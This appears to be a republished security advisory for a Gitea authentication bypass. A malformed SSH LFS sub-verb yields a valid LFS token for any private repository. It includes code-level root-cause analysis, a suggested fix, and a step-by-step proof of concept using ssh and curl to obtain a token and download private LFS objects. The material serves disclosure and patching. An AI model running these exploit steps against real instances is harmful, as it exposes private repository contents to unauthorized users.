Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N상세 설명
Summary
A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.
Details
In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:
1setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb) 2return perm.AccessModeNoneIn production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:
1if repoExist && 2 (mode > perm.AccessModeRead || 3 repo.IsPrivate || 4 owner.Visibility.IsPrivate() || 5 (user != nil && user.IsRestricted) || 6 setting.Service.RequireSignInViewStrict) { 7 ... 8 if userMode < mode { // userMode < 0 is always false 9 // deny access10 }11}For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.
The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:
1if mode == perm_model.AccessModeWrite && claims.Op != "upload" { 2 return nil, errors.New("invalid token claim") 3}Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.
PoC
Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).
1# 1. Verify attacker has NO access via normal LFS authenticate 2ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download" 3# Output: "User: attacker is not authorized to read admin/private-repo." 4 5# 2. EXPLOIT: Use malformed sub-verb to bypass permission check 6ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb" 7# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"} 8 9# 3. Use stolen token to request LFS object download10curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \11 -H "Content-Type: application/vnd.git-lfs+json" \12 -H "Accept: application/vnd.git-lfs+json" \13 -H "Authorization: Bearer eyJ..." \14 -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'15# Returns download URL with valid authorization header16 17# 4. Download private LFS content18curl -H "Authorization: Bearer eyJ..." \19 "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"20# Returns the private LFS object contentImpact
Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).
Suggested fix
Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:
1case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer: 2 switch lfsVerb { 3 case git.CmdSubVerbLfsUpload: 4 return perm.AccessModeWrite 5 case git.CmdSubVerbLfsDownload: 6 return perm.AccessModeRead 7 default: 8 return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb) 9 }AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…